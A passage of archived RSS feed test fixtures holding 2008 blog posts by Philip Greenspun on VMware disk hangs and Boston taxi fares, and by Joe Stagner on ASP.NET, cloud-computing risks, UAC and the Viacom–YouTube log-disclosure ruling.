    ]]>     http://blogs.law.harvard.edu/philg/2008/07/08/a-year-with-windows-vista/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Any VMware experts reading this blog? http://blogs.law.harvard.edu/philg/2008/07/08/any-vmware-experts-reading-this-blog/ http://blogs.law.harvard.edu/philg/2008/07/08/any-vmware-experts-reading-this-blog/#comments Tue, 08 Jul 2008 17:05:55 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/08/any-vmware-experts-reading-this-blog/ In the primitive old days we would get a new server with a 400 MHz CPU, 512 MB of RAM, install Unix, Oracle, and AOLserver, and be up and running after one long miserable day of system administration. Fortunately we live in the modern age. Two months ago, I bought a server with 4 GB of RAM, a processor with multiple gerbils running at the speed of light, and handed it over to a couple of young whiz kids. They laughed at my idea of simply installing Linux, Oracle, and AOLserver. “You’re going to use this box for multiple development servers,” they said. I replied that Unix was all set up for this with users, groups, and file/directory permissions. We would just create one group per development server and add people to the group. This response resulted in peals of laughter. Didn’t I know about VMware? They would create a virtual machine for each development server and entirely separate user account bases for each virtual machine. The poor little pizza box would now be burdened with running four copies of Linux, one for the underlying machine and one for each of the three development servers. This seemed like a waste of the gift that the brilliant hardware engineers had given us of 4 GB of RAM, but isn’t it the job of programmers to render worthless the accomplishments of hardware engineers?

    I let them do it their way. Two months later, the box still isn’t up and running. What are the issues? We have one minor issue with time keeping. VMware supposedly lets you have the underlying box look up the time from NTP servers and set the system clock and then the virtual machines are supposed to get their time from there. That isn’t working for some reason and the virtual machines always have the wrong time. (We can laugh at Windows Vista, but I have never seen a Vista machine that was off by more than a second or two.)

    The more serious issue is that the machine simply hangs up and won’t respond to keystrokes for several seconds out of every minute or two. At first I figured that the problem was virtual machines being paged out to disk so I asked the whiz kids to disable swap for each and every one of the four Linux installations. They did that and the machine is still halting temporarily. Here’s a description of the problem from one of the whiz kids (they will remain nameless so that they don’t need to be more ashamed than they already should be)…

    We're running VMware Server on Linux and have noticed that the virtual machines will hang for several seconds at a time. This is creating serious performance problems and making even the most basic console interactions painful. The disk access light in the status bar of the management console is lit for the duration of the freeze. When the light goes out the VM resumes running smoothly. At first we thought this was a paging problem but upon adjusting memory allocation neither the VMware host nor any of the virtual machines report any swap use whatsoever. The problem continues to occur even with swapping disabled. Checking the vmware.log file reveals hundreds of disk timeouts. Here's a five minute span from the log file:


    Jul 07 14:57:30: vmx| DISK: DISK/CDROM timeout of 13.156 seconds on ide0:0 (ok)
    Jul 07 14:58:00: vmx| DISK: DISK/CDROM timeout of 7.435 seconds on ide0:0 (ok)
    Jul 07 14:58:35: vmx| DISK: DISK/CDROM timeout of 9.563 seconds on ide0:0 (ok)
    Jul 07 14:59:13: vmx| DISK: DISK/CDROM timeout of 9.763 seconds on ide0:0 (ok)
    Jul 07 14:59:45: vmx| DISK: DISK/CDROM timeout of 5.775 seconds on ide0:0 (ok)
    Jul 07 15:00:21: vmx| DISK: DISK/CDROM timeout of 8.015 seconds on ide0:0 (ok)
    Jul 07 15:00:57: vmx| DISK: DISK/CDROM timeout of 9.939 seconds on ide0:0 (ok)
    Jul 07 15:01:31: vmx| DISK: DISK/CDROM timeout of 10.320 seconds on ide0:0 (ok)
    Jul 07 15:02:00: vmx| DISK: DISK/CDROM timeout of 3.345 seconds on ide0:0 (ok)
    Jul 07 15:02:37: vmx| DISK: DISK/CDROM timeout of 6.182 seconds on ide0:0 (ok)

    Any advice from a VMware hero? When is it time to wipe the machine and run it like we would have in 1978?

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/08/any-vmware-experts-reading-this-blog/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Could hybrid taxis with lower fares cut fuel usage here in Boston? http://blogs.law.harvard.edu/philg/2008/07/08/could-hybrid-taxis-with-lower-fares-cut-fuel-usage-here-in-boston/ http://blogs.law.harvard.edu/philg/2008/07/08/could-hybrid-taxis-with-lower-fares-cut-fuel-usage-here-in-boston/#comments Tue, 08 Jul 2008 07:02:39 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/08/could-hybrid-taxis-with-lower-fares-cut-fuel-usage-here-in-boston/ Boston has some of the highest per-mile taxi rates in the U.S., higher than far wealthier cities such as New York. At the same time, our streets aren’t all that congested at most times of day, unlike, say, New York. The result is that people do a lot of extra driving in private cars in order to avoid using taxis.

    Consider a guy who lives in the suburbs who needs to go to Logan Airport for a five-day trip. He could drive his gas-guzzling SUV and pay $100 to park at the airport. He could pay $120 for a round-trip cab ride in a gas-guzzling seven-year-old full-size American sedan, the mainstay of our taxi fleet. What is he likely to do? Have his wife drive the gas-guzzling SUV to and from Logan twice.

    How could we have lower fares and brand-new hybrid vehicles at the same time? Current taxi fares go primarily to pay rent on the medallions. The City of Boston artificially restricts the number of taxis to roughly the same number that existed in the 1930s, when the city was much smaller and poorer. The consequence is that it costs roughly $400,000 to buy a medallion, 20 times the cost of a brand-new 2008 Toyota Prius (a medallion for New York City is closer to $600,000). How come your driver barely speaks English, doesn’t know how to navigate anywhere, doesn’t have a $200 dashboard-mounted GPS, looks poor, and is driving a wreck? As an economist would predict, with the supply of medallions limited, all profits from a taxi operation go to the medallion owners. The drivers earn a subsistence income regardless of the rates set by the city. They cannot be paid less because they would quit and take another job requiring no skills. They cannot be paid more because any higher salary for drivers would attract unskilled workers willing to work for less. When someone hands $40 to a taxi driver here in Boston, most of the money ends up in the hands of a millionaire or billionaire who owns the medallion.

    In the old days nobody seemed to mind a system left over from the 1930s that made life in Boston more expensive and clogged our parking spaces with private cars that people used so that they wouldn’t have to pay for artificially inflated taxi fares. When gas is over $4 per gallon, though, and we’re choking ourselves and our planet, perhaps we can summon the political will to expand our taxi fleet with hybrids.

    One advantage of hybrid taxis is that a taxi is operated more miles than a private vehicle, so replacing an old Ford Crown Victoria with a new Prius has a lot more impact on gas consumption if done for a cab than for a family car. Another advantage is that taxis tend to be operated mostly in stop-and-go city traffic, where hybrids perform best. Finally we have the opportunity to reduce air pollution to make Boston more attractive to people and employers who have been fleeing south and west.

    Right now the politicians and bureaucrats are debating whether to approve a requested 50 percent fare increase, on the stated theory that it will help drivers pay for gas. In reality any fare increase must end up in medallion owners’ pockets. Perhaps it is time to allow anyone who is willing to meet safety and technical standards to operate a taxi here in Boston at rates that are 30 percent lower than current rates. To qualify, a driver would need to be in a vehicle that burns no fuel when stopped in traffic and that consumes, overall, no more fuel than a 2008 Toyota Prius. That should ensure a plentiful supply of efficient taxis on the road and at rates low enough to get people out of their SUVs.

    Background: http://www.bostonmagazine.com/articles/fare_game/ (a 2004 article with some useful information)

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/08/could-hybrid-taxis-with-lower-fares-cut-fuel-usage-here-in-boston/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Preventing Runway Incursions http://blogs.law.harvard.edu/philg/2008/07/01/preventing-runway-incursions/ http://blogs.law.harvard.edu/philg/2008/07/01/preventing-runway-incursions/#comments Wed, 02 Jul 2008 03:46:51 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/01/preventing-runway-incursions/ I’ve drafted a new article on preventing runway incursions:  http://philip.greenspun.com/flying/runway-incursions/.  Please comment by clicking the “add a comment” link at the bottom.  If you have a typo or correction or short-term comment, feel free to make that here.

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/01/preventing-runway-incursions/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blogs.msdn.com-joestagner-rss.aspx0000664000175000017500000014474312653701626027470 0ustar janjan Joe Stagner - Frustrated by Design !http://blogs.msdn.com/joestagner/default.aspxWho me ? Opinionated ? :) en-USCommunityServer 2.1 SP1 (Build: 61025.2)ASP.NET AJAX 4.0 CodePlex Preview 1 availablehttp://blogs.msdn.com/joestagner/archive/2008/07/21/asp-net-ajax-4-0-codeplex-preview-1-available.aspxMon, 21 Jul 2008 20:03:38 GMT91d46819-8472-40ad-a661-2c78acb4018c:8762487JoeStagner1http://blogs.msdn.com/joestagner/comments/8762487.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8762487http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8762487<p>We're very happy to announce that the <a href="http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=15511">first preview for the new Ajax features in ASP.NET</a> just went live. </p> <p>For more information check out the <a href="http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=14924">Roadmap</a>. </p> <p>This preview contains preview implementations for the following features: </p> <ul> <li>Client-side template rendering </li> <li>Declarative instantiation of behaviors and controls </li> <li>DataView control </li> <li>Markup extensions </li> <li>Bindings </li> </ul> <p>I'll work on videos to cover the new features ! </p> <p>As usual, all feedback is very welcome. </p> <p><a href="http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=15511">http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=15511</a></p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8762487" width="1" height="1">Risks with Cloud Computing.http://blogs.msdn.com/joestagner/archive/2008/07/21/risks-with-cloud-computing.aspxMon, 21 Jul 2008 14:34:31 GMT91d46819-8472-40ad-a661-2c78acb4018c:8761666JoeStagner1http://blogs.msdn.com/joestagner/comments/8761666.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8761666http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8761666<p>Dolores Labs posted recently &quot;<a href="http://blog.doloreslabs.com/2008/07/amazons-s3-web-service-our-1-cause-of-failure/">Amazon&#8217;s S3 Web Service, our #1 cause of failure</a>&quot; [ <a href="http://blog.doloreslabs.com/2008/07/amazons-s3-web-service-our-1-cause-of-failure/" target="_blank">Click HERE to READ</a> ] </p> <p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/RiskswithCloudComputing_93C7/100014192753__V46777512__2.gif"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="100014192753__V46777512_" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/RiskswithCloudComputing_93C7/100014192753__V46777512__thumb.gif" width="174" height="73" /></a> </p> <p>Amazon.com is a great company and a early innovator in the Web Services Community. (God knows I send them ALOT of money.) </p> <p>So this is not an indictment of Amazon as a technology provider. In fact, it is because a Amazon is a great company with a solid infrastructure that this is significant. </p> <p>As Geeks, we tend to get all jazzed about the latest buzz - and cloud computing is certainly one of them. But, I think it's important to remember, while services in the cloud can be very cost effective. You can't control the cloud. </p> <p>When you build it and own it you always have options when you're not getting the service level you need. In the cloud, you're held hostage by 3rd party service levels.... ad as we all know, stuff happens. </p> <p>When you're using a cloud hosted service, remember to build support for graceful degradation your application. You application need not fail completely because you can't fetch images, ads, etc.</p> <p>Not only is this good design practice, but it mitigates a DOS security threat. If I wanna bring your web application down and you haven't built resilience into your site, all I need to to is successfully attack any one service your application depends on and your application is down !! </p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8761666" width="1" height="1">Tweak UAChttp://blogs.msdn.com/joestagner/archive/2008/07/18/tweak-uac.aspxFri, 18 Jul 2008 15:19:13 GMT91d46819-8472-40ad-a661-2c78acb4018c:8749742JoeStagner1http://blogs.msdn.com/joestagner/comments/8749742.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8749742http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8749742<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/TweakUAC_F72E/TweakUAC_2.png"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="TweakUAC" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/TweakUAC_F72E/TweakUAC_thumb.png" width="454" height="327" /></a> </p> <p>Dies UAC give you a rash ?</p> <p>It does me !!!</p> <p>It's not that it isn't a good idea - it is. But I really wish I could train it or over ride it. </p> <p>Maybe in a future Windows version - in the mean time, I'm trying Tweak UAC which provides a &quot;Quiet Mode&quot; for UAC.</p> <p>[ <a href="http://www.softpedia.com/progDownload/TweakUAC-Download-72519.html " target="_blank">Click HERE to get Tweak UAC</a> ]</p> <p>Note: UAC is a Security feature. Strictly speaking &quot;Quiet Mode&quot;&#160; reduces your system's security.</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8749742" width="1" height="1">Will ASP.NET MVC will be the main web platform for ASP.NET?http://blogs.msdn.com/joestagner/archive/2008/07/18/will-asp-net-mvc-will-be-the-main-web-platform-for-asp-net.aspxFri, 18 Jul 2008 15:09:01 GMT91d46819-8472-40ad-a661-2c78acb4018c:8749709JoeStagner1http://blogs.msdn.com/joestagner/comments/8749709.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8749709http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8749709<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/WillASP.NETMVCwillbethemainwebplatfo.NET_9C96/pow_by_aspnet_2.png"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="pow_by_aspnet" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/WillASP.NETMVCwillbethemainwebplatfo.NET_9C96/pow_by_aspnet_thumb.png" width="92" height="35" /></a> </p> <p>Microsoft folks are very enthusiastic ! We love to dig in to new technology and show off the cool work that we do and this has been VERY true of ASP.NET MVC.</p> <p>Unfortunately, sometimes our zeal get's misinterpreted. </p> <p>I'm getting lots of questions about the future of ASP.NET development as it pertains to MVC and WebForms - and folks are concerned and worried. </p> <p>Today I got an email from a former Microsoftie asking these common questions so I thought I would answer them here. </p> <p><strong>1.) Will ASP.NET MVC will be the main web platform for ASP.NET?</strong></p> <h2><strong>NO !</strong> </h2> <p>MVC is an option. It will NOT replace WebForms. WebForms will continue to evolve and be the PRIMARY UI developers mechanism for ASP.NET. MVC will be great for a subset of ASP.NET applications and developers.The p[oint is, ASP.NET developers will have a great available CHOICE. </p> <p>Personally - I will continue to use WebForms and will likely not use MVC much if at all.&#160; </p> <p><strong>2.) Will WebForms continue to be expanded/supported ?</strong></p> <h2>YES! YES! YES !</h2> In fact, this fall I'll be focusing on publishing videos and such on NEW WebForms Features and usage scenarios. <p><strong>3.) Which JavaScript framework is recommended to be used with ASP.NET MVC (ASP.NET AJAX, jQuery, etc.)?</strong> </p> <p>Microsoft supports our own AJAX Client Libraries, but I regularly use jQuery and other independent libraries. The Microsoft libraries are integration friendly with any JavaScript library that uses some king of Name-Spacing mechanism to avoid naming collisions. </p> <p><strong>4.) How well ASP.NET AJAX will be supported with ASP.NET MVC?</strong></p> <p>Who knows? ASP.NET AJAX is built around the page postback model so the server side stuff is decidedly WebForms but the client stuff is happy anywhere.</p> <p>Check outthis post by Nikhil where he adds some basic AJAX stuff to an MVC application.</p> <p><a title="http://www.nikhilk.net/Ajax-MVC.aspx" href="http://www.nikhilk.net/Ajax-MVC.aspx">http://www.nikhilk.net/Ajax-MVC.aspx</a></p> <p><strong>5.) Will ASP.NET AJAX and Ajax Control Toolkit will be expanded/supported?</strong></p> <h2>YES !</h2> <p>Simply - YES !</p> <p><strong>LONG LIVE WEB FORMS !</strong></p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8749709" width="1" height="1">New Security Video Series Launchedhttp://blogs.msdn.com/joestagner/archive/2008/07/18/new-security-video-series-launched.aspxFri, 18 Jul 2008 12:37:40 GMT91d46819-8472-40ad-a661-2c78acb4018c:8748953JoeStagner1http://blogs.msdn.com/joestagner/comments/8748953.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8748953http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8748953<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/NewSecurityVideoSeriesLaunched_7881/video-343_2.png"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="video-343" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/NewSecurityVideoSeriesLaunched_7881/video-343_thumb.png" width="154" height="114" /></a> </p> <p>Please checkout the first videos in my new Web Developer's Security Video Series.</p> <p><a title="http://www.asp.net/learn/security-videos/" href="http://www.asp.net/learn/security-videos/">http://www.asp.net/learn/security-videos/</a></p> <p>I'm hoping to do 100 Videos this year !</p> <p>PLEASE SEND YOUR REQUESTS !!!</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8748953" width="1" height="1">ASP.NETSecurityAnnouncing SecureDeveloper.comhttp://blogs.msdn.com/joestagner/archive/2008/07/18/announcing-securedeveloper-com.aspxFri, 18 Jul 2008 12:30:37 GMT91d46819-8472-40ad-a661-2c78acb4018c:8748928JoeStagner1http://blogs.msdn.com/joestagner/comments/8748928.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8748928http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8748928<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/AnnouncingSecureDeveloper.com_831B/CyberCriminal_2.jpg"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="CyberCriminal" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/AnnouncingSecureDeveloper.com_831B/CyberCriminal_thumb.jpg" width="244" height="172" /></a>&#160;</p> <p>For many years I've had an interest in and a focus on Application Security.</p> <p>Now, I'll be ramping up and doing a bunch of security related work in my role here at Microsoft. </p> <p>I hope you will add <a href="http://www.SecureDeveloper.com">www.SecureDeveloper.com</a> to your blog reader.</p> <p>I expect to include coverage of topics of interest to Web Developers, Server Admins, Rich Client Developers and RIA Devs. </p> <p>As always, please feel free to send your requests and suggestions !!</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8748928" width="1" height="1">SecuritySummer ASP.NET Missionshttp://blogs.msdn.com/joestagner/archive/2008/07/16/summer-asp-net-missions.aspxWed, 16 Jul 2008 18:19:15 GMT91d46819-8472-40ad-a661-2c78acb4018c:8739629JoeStagner1http://blogs.msdn.com/joestagner/comments/8739629.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8739629http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8739629<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/SummerASP.NETMissions_C905/20069647_thb_2.jpg"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; margin: 0px 15px 0px 0px; border-right-width: 0px" border="0" alt="20069647_thb" align="left" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/SummerASP.NETMissions_C905/20069647_thb_thumb.jpg" width="184" height="244" /></a> </p> <p>Spring is ugly in my job. From early March until late June I'm on the road. Conferences, Meetings, etc. </p> <p>Then when I finally get done my spring traveling.... There is &quot;make up&quot; work to do. </p> <p>I have to &quot;make it up&quot; to my two little princess and my wife. Work my way through a whole spring filled &quot;Honey Do List&quot;. </p> <p>And then, there is the repair work. Winter is hard on everything. There is lots to do on the house, my office building, the yard, etc. after the winter weather (and my pack of German Shepherds) does its winter damage. </p> <p>And then of course there is the work I have to do on my body. After nearly four months on the road I'm left feeling old, fat, ad out of shape. At 47 by body brings me new challenges and as someone who spent his whole life in a kickboxing gym, my metabolism refuses to adjust to a sedentary lifestyle. </p> <p>Well, I'm caught up !</p> <p>For the rest of the summer and fall I'm going to be primarily focused on developing developer training and guidance in the form of Videos and Webcasts on the following topics.</p> <ul> <li>Web Security - The first of these videos will be up later this week and the series will continue. The topics will be of interest to ASP.NET developers as well as Slveright developers, IIS users, and Rich Client Developers using REST and SOAP services. </li> <li>Data Access - BOTH ADO.NET and LINQ (and not JUST to Microsoft SQL Server). </li> <li>Dynamic Data - The cool new technology for ASP.NET Developers. </li> <li>Web Forms - With all the hype around ASP.NET MVC, I think it's important to focus on the Web UI technology that MOST of us will continue to be using :) </li> </ul> <p>Comments, Suggestions ?</p> <p>[ Use the &quot;Email Me&quot; Link <a href="http://www.misfitgeek.com/" target="_blank">HERE them to me</a>. ]</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8739629" width="1" height="1">LifeCycleSecurity conference - Aug 8 & 9 - Las Vegas, Nevadahttp://blogs.msdn.com/joestagner/archive/2008/07/15/lifecyclesecurity-conference-aug-8-9-las-vegas-nevada.aspxTue, 15 Jul 2008 12:54:32 GMT91d46819-8472-40ad-a661-2c78acb4018c:8733044JoeStagner1http://blogs.msdn.com/joestagner/comments/8733044.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8733044http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8733044<p><a href="http://www.lifecyclesecurity.com/" target="_blank"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="bigDate" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/LifeCycleSecurityconferenceAug89LasVegas_7C6B/bigDate_3.gif" width="244" height="77" /></a> T</p> <p>Check out this 2 day security brain fest. It happens to be right after Black Hat in Vegas. See you there ?</p> <blockquote> <p>The LifeCycleSecurity conference was started to provide a venue where professionals in the Application Security industry can learn from each other's experiences.&#160; We will be addressing security from the server to the browser.&#160; </p> <p>Application Security : We will have topics that address how professionals are creating systems that are resistant to attacks against the web application layer and the systems that support these web applications.</p> <p>Browser security: With the increase in attacks against browsers such as malware and other attack vectors, protecting your users is more important than ever.&#160; This is increasingly being done with content filtering devices.&#160; The Lifecyclesecurity conference will include several tracks that address techniques that are being used to protect against these browser / content based attacks.</p> </blockquote> <p><a title="http://www.lifecyclesecurity.com/" href="http://www.lifecyclesecurity.com/">http://www.lifecyclesecurity.com/</a></p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8733044" width="1" height="1">SecurityWho's Watching What You're Watching?http://blogs.msdn.com/joestagner/archive/2008/07/11/who-s-watching-what-you-re-watching.aspxFri, 11 Jul 2008 12:40:16 GMT91d46819-8472-40ad-a661-2c78acb4018c:8721120JoeStagner3http://blogs.msdn.com/joestagner/comments/8721120.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8721120http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8721120<p><b>From - <a href="http://www.vistanews.com/">http://www.vistanews.com/</a></b> </p> <p>According to the Broadband Report, as of last March 57% of U.S. households had broadband Internet. These high speed connections make it possible to enjoy multi-media applications, something that doesn't work well - if at all - over slow dialup connections. And Internet users are taking advantage of that capability. By March 2008, more than 78 million videos had been uploaded to YouTube, the popular video sharing web site that was created in 2005 by three former employees of PayPal and was acquired by Google a year later. This means more than 150,000 videos are uploaded every day. <a href="http://www.vistanews.com/IB5SB2/080710-YouTube-Statistics">http://www.vistanews.com/IB5SB2/080710-YouTube-Statistics</a></p> <p>Many of these are relatively short, homemade video clips that people take of themselves, their kids, their pets or whatever else they find interesting. The proliferation of cell phone cameras that can record short videos has made it very easy for just about anyone to become a &quot;roving reporter.&quot; Your YouTube account includes a feature that lets you create a mobile profile on the site and then get a special email address to which you can send your videos as MMS messages from your cell phone. You just enter your mobile phone number and provider name. You can also watch videos on your browser-equipped cell phone. Just go to <a href="http://m.youtube.com">http://m.youtube.com</a>.</p> <p>In a society where everyone longs for his or her fifteen minutes of fame, YouTube gives us what we want. Aspiring stand-up comedians can get an instant audience, or you can share the video of your wedding with thousands of strangers around the world. Your creative efforts don't exist in a vacuum, either. Those who view the videos can assign ratings to them so you know exactly where you stand (or don't).</p> <p>Not all the videos that are uploaded to YouTube are originals, though. Looking for that Macbook Air commercial with the &quot;New Soul&quot; song? A quick search on YouTube will bring it up for you in all its glory. Or you might prefer this parody: <a href="http://www.vistanews.com/IB5SB2/080710-Parody">http://www.vistanews.com/IB5SB2/080710-Parody</a></p> <p>Or you can click on the News and Politics category for news clips of everything from President Bush's last State of the Union address to Associated Press footage of the recent Colombia hostage rescue.</p> <p>You might be wondering whether some of these videos might be copyrighted, and in fact many of them are, and are posted on YouTube without the permission of the copyright owner. And that brings us to our latest controversy. Although some companies don't seem to mind having their material reposted to YouTube - and may even encourage it, for the publicity - others aren't so happy. <br />In 2007, Viacom (the media conglomerate that owns MTV, Paramount Pictures and DreamWorks movie studio, among others) invoked the Digital Millennium Copyright Act (DMCA) against YouTube, demanding that they take down more than 100,000 videos that Viacom claimed had been posted in violation of copyright laws. Viacom also filed a $1 billion lawsuit against Google/YouTube. <br />As part of that lawsuit, Viacom asked for the log-in names and IP addresses of YouTube users and records of who watched what videos. And last week, U.S. District Court judge Louis Stanton granted that request, ordering YouTube to turn over their database logs to Viacom. Despite many protests from organizations such as the Electronic Frontier Foundation, the judge dismissed concerns about user privacy. <a href="http://www.vistanews.com/IB5SB2/080710-YouTube-User-History">http://www.vistanews.com/IB5SB2/080710-YouTube-User-History</a></p> <p>Viacom's allegations of copyright infringement seem particularly egregious in light of the accusation from one film maker that Viacom tried to sue him for posting his own video on YouTube, which Viacom had used on their TV commercial without his permission. You can read his blog post about that here: <a href="http://www.vistanews.com/IB5SB2/080710-Viacom-Copyright">http://www.vistanews.com/IB5SB2/080710-Viacom-Copyright</a></p> <p>The lawsuit against YouTube is important because it could set a precedent regarding the responsibility of a web site for content that's posted by others, as well as defining what is and isn't &quot;fair use&quot; when it comes to capturing snippets of a TV program or other copyrighted video. The DMCA includes a &quot;safe harbor&quot; provision that exempts hosting companies from liability for copyright infringement - if the hosting company removes the material when notified that it's in violation of the copyright laws. YouTube contends that they comply with this requirement and also have other measures, such as the 10 minute limit on videos, that discourage copyright infringement.</p> <p>If Viacom wins this one, it could open up a much bigger can of worms. A new interpretation of the DMCA safe harbor provision could affect more than just video hosting sites. Web sites that host discussion forums might be held liable for what users post there; this would probably cause many of the online forums to simply disappear.</p> <p>But regardless of the outcome of the suit, YouTube's users have already lost. The twelve terabytes of log data that Google must now turn over to Viacom contains viewers' log-in IDs and IP addresses, the time each viewer began watching and the video that he watched. The judge seems to think this information can't be used to identify individual users, but how many people do you know who use their names or some variation thereof as their log-in names on web sites like YouTube? And even if you don't, an IP address can be tracked back through the ISP to the user account to which it was assigned at a particular time unless that user goes to the effort of using anonymizer services, something that the vast majority of casual users don't do.</p> <p>There has been no indication at this time that Viacom or anyone else intends to go after the users who watched copyrighted video clips, but who knows? Who would have thought the RIAA would sue grandmothers and 9 year old kids for illegal sharing of music? And even if that doesn't happen, does it make you a little nervous that someone is going over the records of what you watched and when?</p> <p>Tell us what you think. Does Viacom, as a copyright owner, have the right to demand not only that YouTube take down the videos that belong to them (a reasonable request) but also that YouTube provide them with information about the viewers who watched those videos? Should YouTube or any other web site hosting content that's uploaded by its visitors bear the responsibility for that content if it violates laws? Would it bother you to have the records of your viewing habits made part of a court proceeding, or do you subscribe to the &quot;if you aren't doing anything wrong, you don't have anything to worry about&quot; philosophy? Should video sharing sites such as YouTube be restricted to homemade videos only? Or should the &quot;fair use&quot; provisions of the copyright law allow you to post small portions of a TV show, news program, etc.? </p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8721120" width="1" height="1">Advanced ASP.NET AJAX Server Controlshttp://blogs.msdn.com/joestagner/archive/2008/07/08/advanced-asp-net-ajax-server-controls.aspxTue, 08 Jul 2008 18:39:34 GMT91d46819-8472-40ad-a661-2c78acb4018c:8709355JoeStagner1http://blogs.msdn.com/joestagner/comments/8709355.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8709355http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8709355<p><a href="http://www.amazon.com/exec/obidos/ASIN/0321514440/"><img style="margin: 0px 10px 0px 0px" border="0" align="left" src="http://ecx.images-amazon.com/images/I/514ycFq5wKL._SL160_.jpg" /></a>It's finally hitting the street - &quot;<a href="http://www.amazon.com/exec/obidos/ASIN/0321514440/">Advanced ASP.NET Ajax Server Controls</a>&quot;</p> <p>I had the pleasure to be a technical reviewer on this book during the writing process and am really excited about it's release. </p> <p>This book if one of the few that dive deep into the framework, its architecture and extensibility, and address the power-user/developer scenarios and it does it from a controls perspective. It's a big undertaking but Adam and Joel have done a great job. </p> <p>As <a href="http://www.nikhilk.net/Entry.aspx?id=202" target="_blank">Nikhil said</a> &quot;If you're building applications in Ajax today, and want to take that to the next level, you'll want to look into the platform deeper beyond the out-of-the-box features i.e. its extensibility. You'll specifically want to build reusable components and controls, on both the server and on the client. Check out this book on more details like &quot;the client script framework&quot;, &quot;the script application object&quot;, &quot;localization&quot; and &quot;the control toolkit&quot; amongst many other relevant topics&quot;.</p> <p>[ <a href="http://www.amazon.com/exec/obidos/ASIN/0321514440/">Get a copy HERE</a> ]</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8709355" width="1" height="1">BlogEngine.NET 1.4 releasedhttp://blogs.msdn.com/joestagner/archive/2008/07/07/blogengine-net-1-4-released.aspxMon, 07 Jul 2008 13:59:14 GMT91d46819-8472-40ad-a661-2c78acb4018c:8701940JoeStagner0http://blogs.msdn.com/joestagner/comments/8701940.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8701940http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8701940<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/BlogEngine.NET1.4released_8BC6/benlogo80_2.gif"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="benlogo80" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/BlogEngine.NET1.4released_8BC6/benlogo80_thumb.gif" width="244" height="76" /></a></p> <h4>Check out the New features in BlogEngine.NET 1.4</h4> <p><strong>New database provider <br /></strong>BlogEngine.NET now works with most commercial and open source databases such as MySQL, SQL Server, VistaDB and many others. This allow you to use practically any database supported by your hosting 